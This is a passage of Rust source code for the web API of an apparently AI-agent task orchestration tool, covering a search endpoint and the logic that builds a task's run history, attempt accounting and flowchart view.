4372            "q is longer than {SEARCH_MAX_QUERY} characters"
4373        )));
4374    }
4375    let terms = search_terms(&query);
4376    if terms.len() > SEARCH_MAX_TERMS {
4377        return Err(ApiError::bad_request(format!(
4378            "q has more than {SEARCH_MAX_TERMS} terms"
4379        )));
4380    }
4381    let scope = q.scope;
4382    if scope != "runs" && scope != "tasks" && scope != "chats" {
4383        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4384    }
4385    blocking(move || {
4386        let mut view = SearchView {
4387            scope: scope.clone(),
4388            q: query,
4389            hits: Vec::new(),
4390            total: 0,
4391            truncated: false,
4392            unreadable: 0,
4393        };
4394        if scope == "runs" {
4395            let mut unreadable = 0;
4396            // One run.json is read, matched and dropped at a time; nothing
4397            // holds the whole history. The scan runs to the end even past the
4398            // hit cap so `total` and `unreadable` stay exact.
4399            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4400                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4401                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4402                    Some(v) => Some((id, v)),
4403                    None => {
4404                        unreadable += 1;
4405                        None
4406                    }
4407                }
4408            });
4409            search_docs(&terms, docs, &mut view);
4410            view.unreadable = unreadable;
4411            // Only the capped hits get a row: the filters need a run's state,
4412            // and reading every match would be the whole history again.
4413            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4414            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4415            for hit in &mut view.hits {
4416                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4417                    hit.run = summarize(
4418                        [state],
4419                        &open_runs,
4420                        &claimed,
4421                        &superseded,
4422                        |p| probe.borrow_mut().status(p),
4423                        |p| probe.borrow_mut().started_at(p),
4424                    )
4425                    .pop();
4426                }
4427            }
4428        } else if scope == "chats" {
4429            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4430            view.unreadable = unreadable;
4431            search_docs(
4432                &terms,
4433                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4434                &mut view,
4435            );
4436        } else {
4437            let docs = ui.queue.list().into_iter().filter_map(|t| {
4438                let mut v = serde_json::to_value(&t).ok()?;
4439                // `source` serialises as a tagged object; the label is what
4440                // the operator reads ("human", "chat@a1b2").
4441                if let Some(o) = v.as_object_mut() {
4442                    o.insert("filed_by".to_owned(), t.source.label().into());
4443                }
4444                Some((t.id, v))
4445            });
4446            search_docs(&terms, docs, &mut view);
4447        }
4448        Ok(Json(view))
4449    })
4450    .await
4451}
4452
4453/// One attempt in a task's history, as the task page lists it.
4454#[derive(Debug, Serialize)]
4455struct TaskRunView {
4456    /// 1-based position in [`Task::runs`].
4457    n: usize,
4458    id: String,
4459    short: String,
4460    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4461    kind: &'static str,
4462    /// The run's own status string; `None` when its record cannot be read.
4463    status: Option<&'static str>,
4464    /// Whether this build could read the run's record. Counted, never hidden.
4465    readable: bool,
4466    /// A verdict from a collapsed panel is provisional, never a decision.
4467    provisional: bool,
4468    /// What kind of attempt this was, in one line.
4469    description: String,
4470    /// How it ended and why the task moved on (or what it is doing now).
4471    outcome: String,
4472    created_at: Option<Timestamp>,
4473    pr: Option<String>,
4474    /// Why this pass ended, classified once; the flowchart is built from it.
4475    exit: RunExit,
4476    /// What the pass did to the task's attempt budget.
4477    attempt: AttemptCost,
4478    /// Edge wording for leaving this entry; names the recorded cause when
4479    /// there is one.
4480    exit_label: String,
4481    /// The position of a later entry for the same run: this entry is an
4482    /// earlier pass of it.
4483    later_pass: Option<usize>,
4484    /// Which pass over the run this entry is (1-based) and how many entries
4485    /// the task lists for the run. Counted from the list, so known even for
4486    /// a legacy record.
4487    pass_n: usize,
4488    passes_of_run: usize,
4489    /// What the run recorded about this pass; `None` for a record from before
4490    /// passes were kept, whose cause stays unknown.
4491    pass: Option<PassView>,
4492    /// The branch a review-only run reopened.
4493    branch: Option<String>,
4494}
4495
4496/// One recorded pass over a run, for the wire.
4497#[derive(Debug, Clone, PartialEq, Serialize)]
4498struct PassView {
4499    index: usize,
4500    resumed: bool,
4501    started_at: Timestamp,
4502    ended_at: Option<Timestamp>,
4503    /// `open`, `parked` or `unrecorded`.
4504    end: &'static str,
4505    cause: Option<crate::run::ParkCause>,
4506    /// One line: why it stopped, or that nobody recorded why.
4507    label: String,
4508    /// What the task recorded for this pass; `None` when it was not settled
4509    /// (or settled by a build that kept no record).
4510    cost: Option<crate::queue::PassCost>,
4511}
4512
4513impl PassView {
4514    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4515        use crate::run::PassEnd;
4516        let (end, cause, label) = match &p.end {
4517            None => ("open", None, "still open".to_owned()),
4518            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4519            Some(PassEnd::Unrecorded) => (
4520                "unrecorded",
4521                None,
4522                "stopped without recording why (a crash, a kill or a restart; not known)"
4523                    .to_owned(),
4524            ),
4525        };
4526        Self {
4527            index: p.index,
4528            resumed: p.resumed,
4529            started_at: p.started_at,
4530            ended_at: p.ended_at,
4531            end,
4532            cause,
4533            label,
4534            cost: settled.map(|t| t.cost),
4535        }
4536    }
4537}
4538
4539/// How one pass over a run ended, as far as the task's life is concerned.
4540#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4541#[serde(rename_all = "snake_case")]
4542enum RunExit {
4543    Unreadable,
4544    /// An earlier pass of a run id that appears again: it stopped short.
4545    Interrupted,
4546    Parked,
4547    QuotaStall,
4548    /// Stalled on a resumed pass with quota losses on record: they may be
4549    /// left over from an earlier pass, so whether this one was refunded is
4550    /// not knowable.
4551    ResumedQuotaStall,
4552    Merged,
4553    Ready,
4554    Superseded,
4555    /// The change was already on the base under other commits: the task
4556    /// finished without this run landing anything.
4557    AlreadyInBase,
4558    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4559    Stalled,
4560    /// Blocked / no-op with a pull request left open: held for a person.
4561    HeldWithPr,
4562    NoopHeld,
4563    /// Blocked or failed: the attempt is spent and the task retries or holds.
4564    Spent,
4565    InProgress,
4566}
4567
4568#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4569#[serde(rename_all = "snake_case")]
4570enum AttemptCost {
4571    Spent,
4572    Refunded,
4573    None,
4574    /// Cannot be told from the records that remain.
4575    Unknown,
4576}
4577
4578impl RunExit {
4579    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4580        let Some(s) = s else {
4581            return Self::Unreadable;
4582        };
4583        let status = s.status;
4584        if resumed_later {
4585            Self::Interrupted
4586        } else if s.parked {
4587            Self::Parked
4588        } else if !status.done() {
4589            Self::InProgress
4590        } else if matches!(status, RunStatus::Merged) {
4591            Self::Merged
4592        } else if matches!(status, RunStatus::Ready) {
4593            Self::Ready
4594        } else if matches!(status, RunStatus::Superseded) {
4595            Self::Superseded
4596        } else if matches!(status, RunStatus::AlreadyInBase) {
4597            Self::AlreadyInBase
4598        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4599            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4600        {
4601            if resumed {
4602                Self::ResumedQuotaStall
4603            } else {
4604                Self::QuotaStall
4605            }
4606        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4607            Self::HeldWithPr
4608        } else if matches!(status, RunStatus::VerifiedNoop) {
4609            Self::NoopHeld
4610        } else if matches!(status, RunStatus::Stalled) {
4611            Self::Stalled
4612        } else {
4613            Self::Spent
4614        }
4615    }
4616
4617    fn cost(self) -> AttemptCost {
4618        match self {
4619            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4620            Self::Merged
4621            | Self::Ready
4622            | Self::Stalled
4623            | Self::HeldWithPr
4624            | Self::NoopHeld
4625            | Self::Spent => AttemptCost::Spent,
4626            Self::InProgress => AttemptCost::None,
4627            Self::AlreadyInBase => AttemptCost::Refunded,
4628            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4629                AttemptCost::Unknown
4630            }
4631        }
4632    }
4633
4634    /// Short edge wording for leaving a run this way.
4635    fn edge_label(self, status: Option<&str>) -> String {
4636        match self {
4637            Self::Unreadable => "record unreadable".to_owned(),
4638            Self::Interrupted => "interrupted before the run finished".to_owned(),
4639            Self::Parked => "parked, attempt refunded".to_owned(),
4640            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4641            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4642            Self::Merged => "merged".to_owned(),
4643            Self::Ready => "ready, not merged".to_owned(),
4644            Self::Superseded => "superseded by a later attempt".to_owned(),
4645            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4646            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4647            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4648            Self::NoopHeld => "verified no-op".to_owned(),
4649            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4650            Self::InProgress => "in progress".to_owned(),
4651        }
4652    }
4653
4654    /// Does a task in `end` follow from a run that ended this way? When not,
4655    /// somebody closed or held the task by hand.
4656    fn explains(self, end: TaskStatus) -> bool {
4657        match self {
4658            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4659            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4660            Self::Unreadable | Self::Superseded | Self::Ready => true,
4661            _ => end != TaskStatus::Done,
4662        }
4663    }
4664}
4665
4666/// `GET /api/queue/{id}` - one task with every attempt it went through.
4667#[derive(Debug, Serialize)]
4668struct TaskDetailView {
4669    #[serde(flatten)]
4670    task: TaskView,
4671    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4672    /// told otherwise; the loop's own flag is not visible from here.
4673    max_attempts: usize,
4674    history: Vec<TaskRunView>,
4675    /// Entries in `history`: passes over runs, not distinct runs and not
4676    /// attempts consumed (`task.attempts`).
4677    passes_total: usize,
4678    /// Distinct runs those passes belong to.
4679    runs_distinct: usize,
4680    flow: FlowView,
4681    /// Set for a follow-up task; see [`followup_origin`].
4682    followup_origin: Option<FollowUpOrigin>,
4683    /// How many entries of `history` could not be read.
4684    runs_unreadable: usize,
4685    /// Why the attempt count can be lower than the number of runs.
4686    attempts_note: &'static str,
4687}
4688
4689const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4690and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4691on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4692the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4693
4694/// The branch a review-only run reopened, read off the instruction
4695/// `Runner::open_review` writes.
4696fn review_branch_of(instruction: &str) -> Option<&str> {
4697    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4698    rest.split('`').next().filter(|b| !b.is_empty())
4699}
4700
4701/// Where an entry sits in a task's run list.
4702#[derive(Default)]
4703struct RunSlot<'a> {
4704    /// 1-based position.
4705    n: usize,
4706    /// The same run id appeared earlier: this pass resumed it.
4707    resumed: bool,
4708    /// Position of a later pass over the same run id, if any.
4709    resumed_later: Option<usize>,
4710    /// The previous distinct run and how it ended, for the retry note.
4711    prior: Option<(&'a str, RunStatus)>,
4712    last: bool,
4713    /// This pass as the run recorded it, when it did.
4714    pass: Option<&'a crate::run::RunPass>,
4715    /// What the task recorded when it settled this pass.
4716    settled: Option<&'a crate::queue::TaskPass>,
4717    /// 1-based position among the task's entries for this run, and their count.
4718    pass_n: usize,
4719    passes_of_run: usize,
4720}
4721
4722/// Describe one entry of a task's run list. Pure: everything it needs is on
4723/// the run and the task, so it is asserted without a server.
4724fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4725    let RunSlot {
4726        n,
4727        resumed,
4728        resumed_later,
4729        prior,
4730        last,
4731        pass,
4732        settled,
4733        pass_n,
4734        passes_of_run,
4735    } = at;
4736    let short = run::short_of(id).to_owned();
4737    let Some(s) = state else {
4738        return TaskRunView {
4739            n,
4740            id: id.to_owned(),
4741            short,
4742            kind: "unknown",
4743            status: None,
4744            readable: false,
4745            provisional: false,
4746            description:
4747                "This run's record could not be read by this build (written by a different \
4748                          magi, or removed), so what kind of attempt it was is unknown."
4749                    .to_owned(),
4750            outcome: String::new(),
4751            created_at: None,
4752            pr: None,
4753            exit: RunExit::Unreadable,
4754            attempt: AttemptCost::Unknown,
4755            exit_label: RunExit::Unreadable.edge_label(None),
4756            later_pass: resumed_later,
4757            pass_n,
4758            passes_of_run,
4759            pass: None,
4760            branch: None,
4761        };
4762    };
4763    let branch = review_branch_of(&s.instruction);
4764    let kind = if resumed {
4765        "resume"
4766    } else if branch.is_some() {
4767        "review"
4768    } else if task.solo || s.candidates.len() == 1 {
4769        "solo"
4770    } else {
4771        "competition"
4772    };
4773    let mut description = match kind {
4774        "resume" => {
4775            format!("Resumed run {short}: the same run carried on instead of competing again.")
4776        }
4777        "review" => format!(
4778            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4779            branch.unwrap_or_default()
4780        ),
4781        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4782        _ => format!(
4783            "Competition: {} candidates judged blind.",
4784            s.candidates.len().max(1)
4785        ),
4786    };
4787    if !resumed && let Some((p, st)) = prior {
4788        description.push_str(&format!(
4789            " A retry: run {p} before it ended {}.",
4790            st.display_label()
4791        ));
4792    }
4793
4794    let status = s.status;
4795    let provisional = matches!(status, RunStatus::Stalled)
4796        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4797    let head = if resumed_later.is_some() {
4798        String::new()
4799    } else {
4800        match status {
4801            RunStatus::Merged => "Merged.".to_owned(),
4802            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4803            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4804            RunStatus::AlreadyInBase => {
4805                "Already in the base: this change landed under other commits, nothing was left to land."
4806                    .to_owned()
4807            }
4808            RunStatus::Stalled => {
4809                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4810                    .to_owned()
4811            }
4812            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4813            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4814            RunStatus::VerifiedNoop => {
4815                "Verified no-op: the candidates found nothing to change.".to_owned()
4816            }
4817            other if other.done() => format!("Ended {}.", other.display_label()),
4818            other => format!("In progress ({}).", other.display_label()),
4819        }
4820    };
4821    let view = pass.map(|p| PassView::of(p, settled));
4822    let recorded_end = view
4823        .as_ref()
4824        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4825    let cost_words = match view.as_ref().and_then(|v| v.cost) {
4826        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4827        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4828        None => "whether its attempt was handed back was not recorded",
4829    };
4830    let pass_note = if passes_of_run > 1 {
4831        format!(
4832            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4833        )
4834    } else {
4835        String::new()
4836    };
4837    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4838        // The run recorded this pass's end when it happened.
4839        let cause = match v.end {
4840            "parked" => format!("It was stopped on purpose: {}.", v.label),
4841            _ => format!("It {}.", v.label),
4842        };
4843        format!(
4844            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4845            capitalise(cost_words)
4846        )
4847    } else if let Some(k) = resumed_later {
4848        // A run is only picked up again while it is unfinished, so an earlier
4849        // pass of a repeated id stopped short; the record keeps only the run's
4850        // latest status, which is left to the pass that carried it on.
4851        // Only the latest state is recorded: `parked` is cleared on resume
4852        // and `quota` accumulates across passes, so neither says why *this*
4853        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4854        let cause = if s.quota.is_empty() {
4855            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4856        } else {
4857            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4858        };
4859        format!(
4860            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4861        )
4862    } else if s.parked {
4863        match recorded_end.and_then(|v| v.cause.as_ref()) {
4864            Some(cause) => format!(
4865                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4866                cause.label(),
4867                cost_words
4868            ),
4869            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4870                .to_owned(),
4871        }
4872    } else if !status.done()
4873        || matches!(
4874            status,
4875            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4876        )
4877    {
4878        String::new()
4879    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4880        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4881    {
4882        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4883            .to_owned()
4884    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4885        " It left a pull request open, so the task was held for a person rather than retried."
4886            .to_owned()
4887    } else if matches!(status, RunStatus::VerifiedNoop) {
4888        " Held for a person to check the claim.".to_owned()
4889    } else if last {
4890        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4891    } else {
4892        " It spent an attempt, and the task moved on to the next run.".to_owned()
4893    };
4894    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4895    let mut attempt = exit.cost();
4896    let mut exit_label = None;
4897    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4898        let spent = match v.cost {
4899            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4900            Some(crate::queue::PassCost::Spent) => ", attempt counted",
4901            None if resumed_later.is_some() => ", refund not recorded",
4902            None => ", attempt refunded",
4903        };
4904        attempt = match v.cost {
4905            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4906            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4907            None if resumed_later.is_some() => AttemptCost::Unknown,
4908            None => attempt,
4909        };
4910        if v.end == "parked" {
4911            exit = RunExit::Parked;
4912            exit_label = Some(match v.cause.as_ref() {
4913                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4914                    format!("parked for {}{spent}", c.label())
4915                }
4916                Some(c) => format!("parked ({}){spent}", c.label()),
4917                None => format!("parked{spent}"),
4918            });
4919        } else {
4920            exit_label = Some(format!("stopped without a recorded cause{spent}"));
4921        }
4922    }
4923    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4924    TaskRunView {
4925        n,
4926        id: id.to_owned(),
4927        short,
4928        kind,
4929        status: Some(status.as_str()),
4930        readable: true,
4931        provisional,
4932        description,
4933        outcome: format!("{head}{why}"),
4934        created_at: Some(s.created_at),
4935        pr: s.pr.as_ref().map(|p| p.url.clone()),
4936        exit,
4937        attempt,
4938        exit_label,
4939        later_pass: resumed_later,
4940        pass_n,
4941        passes_of_run,
4942        pass: view,
4943        branch: branch.map(str::to_owned),
4944    }
4945}
4946
4947fn capitalise(s: &str) -> String {
4948    let mut c = s.chars();
4949    c.next().map_or_else(String::new, |f| {
4950        f.to_uppercase().collect::<String>() + c.as_str()
4951    })
4952}
4953
4954/// One box of the task's flowchart.
4955#[derive(Debug, Serialize, PartialEq)]
4956struct FlowNode {
4957    /// Unique by position: a resumed run id appears once per pass.
4958    key: String,
4959    /// `chat`, `followup`, `start`, `run` or `end`.
4960    kind: &'static str,
4961    label: String,
4962    /// Run status (or the task's, for `end`); `None` when it is not a fact
4963    /// about this box (unreadable, or a pass the run later resumed from).
4964    status: Option<&'static str>,
4965    /// Whose status `status` is, so the client picks the right colour table:
4966    /// `task` (the `followup` parent and `end`) or `run`.
4967    status_of: &'static str,
4968    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4969    note: Option<&'static str>,
4970    run_kind: Option<&'static str>,
4971    detail: Option<String>,
4972    /// A readable run with a real verdict; a stall never is.
4973    decided: bool,
4974    readable: bool,
4975    href: Option<String>,
4976}
4977
4978#[derive(Debug, Serialize, PartialEq)]
4979struct FlowEdge {
4980    from: String,
4981    to: String,
4982    label: String,
4983    attempt: AttemptCost,
4984}
4985
4986#[derive(Debug, Serialize, PartialEq)]
4987struct FlowView {
4988    nodes: Vec<FlowNode>,
4989    edges: Vec<FlowEdge>,
4990    /// Attempts the task has counted since it was last released.
4991    attempts: usize,
4992    max_attempts: usize,
4993    /// Entries in the run list (passes), and how many distinct runs they are.
4994    /// Neither is the number of attempts consumed.
4995    passes: usize,
4996    runs: usize,
4997}
4998
4999/// Turn a task and its described runs into the flowchart's boxes and arrows.
5000/// Pure: the page only draws what this returns.
5001///
5002/// A follow-up opens with its parent (or the merged run) unless the task's
5003/// *source* is itself a chat, in which case the chat stays first and the
5004/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5005/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5006/// two normally do not coincide and the nearer origin wins.
5007fn task_flow(
5008    task: &Task,
5009    history: &[TaskRunView],
5010    max_attempts: usize,
5011    origin: Option<&FollowUpOrigin>,
5012) -> FlowView {
5013    let node = |key: &str, kind, label: String| FlowNode {
5014        key: key.to_owned(),
5015        kind,
5016        label,
5017        status: None,
5018        status_of: "run",
5019        note: None,
5020        run_kind: None,
5021        detail: None,
5022        decided: false,
5023        readable: true,
5024        href: None,
5025    };
5026    let mut nodes = Vec::new();
5027    let mut edges: Vec<FlowEdge> = Vec::new();
5028    // A task queued from a chat opens the flow with that conversation.
5029    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5030        let mut n = node(
5031            "chat",
5032            "chat",
5033            format!("Chat {}", crate::queue::short(&link.id)),
5034        );
5035        n.href = Some(link.href);
5036        nodes.push(n);
5037        edges.push(FlowEdge {
5038            from: "chat".to_owned(),
5039            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5040            label: "queued from chat".to_owned(),
5041            attempt: AttemptCost::None,
5042        });
5043    }
5044    if let Some(o) = origin {
5045        let mut n = match &o.parent {
5046            Some(p) => {
5047                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5048                n.status = Some(p.status);
5049                n.status_of = "task";
5050                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5051                n.href = Some(p.href.clone());
5052                n
5053            }
5054            None => {
5055                let mut n = node(
5056                    "origin",
5057                    "followup",
5058                    format!("Follow-up of run {}", o.run.short),
5059                );
5060                n.detail = Some("merged run".to_owned());
5061                n.status = o.run.status;
5062                n.href = o.run.href.clone();
5063                if o.run.href.is_none() {
5064                    n.readable = false;
5065                    n.note = Some("unreadable");
5066                }
5067                n
5068            }
5069        };
5070        n.decided = true;
5071        let from = n.key.clone();
5072        nodes.push(n);
5073        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5074        let more = o.findings.len().saturating_sub(shown.len());
5075        let label = match (shown.is_empty(), more) {
5076            (true, _) => "open findings".to_owned(),
5077            (false, 0) => format!("open findings {}", shown.join(", ")),
5078            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5079        };
5080        edges.push(FlowEdge {
5081            from,
5082            to: "start".to_owned(),
5083            label,
5084            attempt: AttemptCost::None,
5085        });
5086    }
5087    nodes.push(node("start", "start", "Task queued".to_owned()));
5088    let mut prev = "start".to_owned();
5089    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5090    for (i, h) in history.iter().enumerate() {
5091        let key = format!("run-{}", h.n);
5092        let mut n = node(&key, "run", format!("Run {}", h.short));
5093        n.run_kind = Some(h.kind);
5094        n.readable = h.readable;
5095        n.href = Some(format!("#/runs/{}", h.id));
5096        n.decided = h.readable && !h.provisional;
5097        n.detail = h
5098            .branch
5099            .as_ref()
5100            .map(|b| format!("review-only run of branch {b}"));
5101        match h.exit {
5102            RunExit::Unreadable => n.note = Some("unreadable"),
5103            RunExit::Interrupted => n.note = Some("interrupted"),
5104            // An earlier pass the run recorded as parked: the status shown
5105            // would be the run's current one, not this pass's.
5106            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5107            _ => {
5108                n.status = h.status;
5109                if h.provisional {
5110                    n.note = Some("no verdict");
5111                }
5112            }
5113        }
5114        let into = match h.kind {
5115            "review" => Some(format!(
5116                "review-only run of branch {}",
5117                h.branch.as_deref().unwrap_or("?")
5118            )),
5119            "resume" => Some("resume the same run".to_owned()),
5120            _ if i > 0 => Some("retry".to_owned()),
5121            _ => None,
5122        };
5123        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5124        let label = match (prev_exit, into) {
5125            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5126            (Some((_, l, _)), None) => l,
5127            (None, Some(i)) => i,
5128            (None, None) => "claimed".to_owned(),
5129        };
5130        edges.push(FlowEdge {
5131            from: prev.clone(),
5132            to: key.clone(),
5133            label,
5134            attempt,
5135        });
5136        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5137        prev = key;
5138        nodes.push(n);
5139    }
5140    let mut end = node("end", "end", task.status.as_str().to_owned());
5141    end.status = Some(task.status.as_str());
5142    end.status_of = "task";
5143    nodes.push(end);
5144    let (label, attempt) = match prev_exit {
5145        None => (
5146            format!("no run yet \u{2192} {}", task.status.as_str()),
5147            AttemptCost::None,
5148        ),
5149        Some((e, l, cost)) if e.explains(task.status) => {
5150            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5151        }
5152        Some((_, _, cost)) => (
5153            format!("closed by hand: task is {}", task.status.as_str()),
5154            cost,
5155        ),
5156    };
5157    edges.push(FlowEdge {
5158        from: prev,
5159        to: "end".to_owned(),
5160        label,
5161        attempt,
5162    });
5163    FlowView {
5164        nodes,
5165        edges,
5166        attempts: task.attempts,
5167        max_attempts,
5168        passes: history.len(),
5169        runs: distinct_runs(&task.runs),
5170    }
5171}
5172
5173/// How many different run ids a task's run list names.
5174fn distinct_runs(runs: &[String]) -> usize {
5175    let mut seen: Vec<&str> = Vec::new();
5176    for r in runs {
5177        if !seen.contains(&r.as_str()) {
5178            seen.push(r);
5179        }
5180    }
5181    seen.len()
5182}
5183
5184/// Describe every entry of `task.runs`, in order, reading each run's record
5185/// through `read`.
5186fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5187    let mut history = Vec::with_capacity(task.runs.len());
5188    let mut seen: Vec<&str> = Vec::new();
5189    let mut prior: Option<(&str, RunStatus)> = None;
5190    for (i, run_id) in task.runs.iter().enumerate() {
5191        let state = read(run_id);
5192        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5193        let resumed = k > 0;
5194        seen.push(run_id);
5195        let total = task.runs.iter().filter(|r| *r == run_id).count();
5196        // The run keeps one record per pass from the build that added them
5197        // on; earlier entries of the list have none and stay unknown. Only
5198        // passes the task counted are entries (a web-button resume is a pass
5199        // with no entry), so align those from the end of the list, and give
5200        // up when the run claims more of them than the task lists.
5201        let pass = state.as_ref().and_then(|s| {
5202            let mine: Vec<&crate::run::RunPass> = s
5203                .passes
5204                .iter()
5205                .filter(|p| {
5206                    p.task_entry
5207                        || task
5208                            .passes
5209                            .iter()
5210                            .any(|t| t.run == *run_id && t.pass_index == p.index)
5211                })
5212                .collect();
5213            let offset = total.checked_sub(mine.len())?;
5214            mine.get(k.checked_sub(offset)?).copied()
5215        });
5216        let settled = pass.and_then(|p| {
5217            task.passes
5218                .iter()
5219                .find(|t| t.run == *run_id && t.pass_index == p.index)
5220        });
5221        history.push(task_run_view(
5222            run_id,
5223            state.as_ref(),
5224            RunSlot {
5225                n: i + 1,
5226                resumed,
5227                resumed_later: task.runs[i + 1..]
5228                    .iter()
5229                    .position(|r| r == run_id)
5230                    .map(|off| i + off + 2),
5231                prior,
5232                last: i + 1 == task.runs.len(),
5233                pass,
5234                settled,
5235                pass_n: k + 1,
5236                passes_of_run: total,
5237            },
5238            task,
5239        ));
5240        if let Some(s) = &state {
5241            prior = Some((run::short_of(run_id), s.status));
5242        }
5243    }
5244    history
5245}
5246
5247async fn task_detail(
5248    State(ui): State<Arc<Ui>>,
5249    Path(id): Path<String>,
5250) -> ApiResult<Json<TaskDetailView>> {
5251    blocking(move || {
5252        let id = resolve_task(&ui.queue, &id)?;
5253        let task = ui
5254            .queue
5255            .get(&id)
5256            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5257        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
5258        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5259        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5260        let max_attempts = daemon::Opts::default().max_attempts;
5261        let origin = task.followup.as_ref().map(|fu| {
5262            followup_origin(
5263                fu,
5264                |tid| ui.queue.get(tid).ok(),
5265                |rid| read_run(&ui.runs, rid).ok(),
5266            )
5267        });
5268        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5269        Ok(Json(TaskDetailView {
5270            max_attempts,
5271            flow,
5272            followup_origin: origin,
5273            passes_total: history.len(),
5274            runs_distinct: distinct_runs(&task.runs),
5275            history,
5276            runs_unreadable,
5277            attempts_note: ATTEMPTS_NOTE,
5278            task: TaskView::with_inventory(task, &inv),
5279        }))
5280    })
5281    .await
5282}
5283
5284/// A rate together with its denominator, so the client can tell "computed as
5285/// 0%" apart from "no data to compute it from" — both would otherwise
5286/// serialize as `0.0`. `None` means the denominator was zero.
5287#[derive(Debug, Serialize)]
5288struct RateView {
5289    pct: f64,
5290    denominator: usize,
5291}
5292
5293impl RateView {
5294    fn of(numerator: usize, denominator: usize) -> Option<Self> {
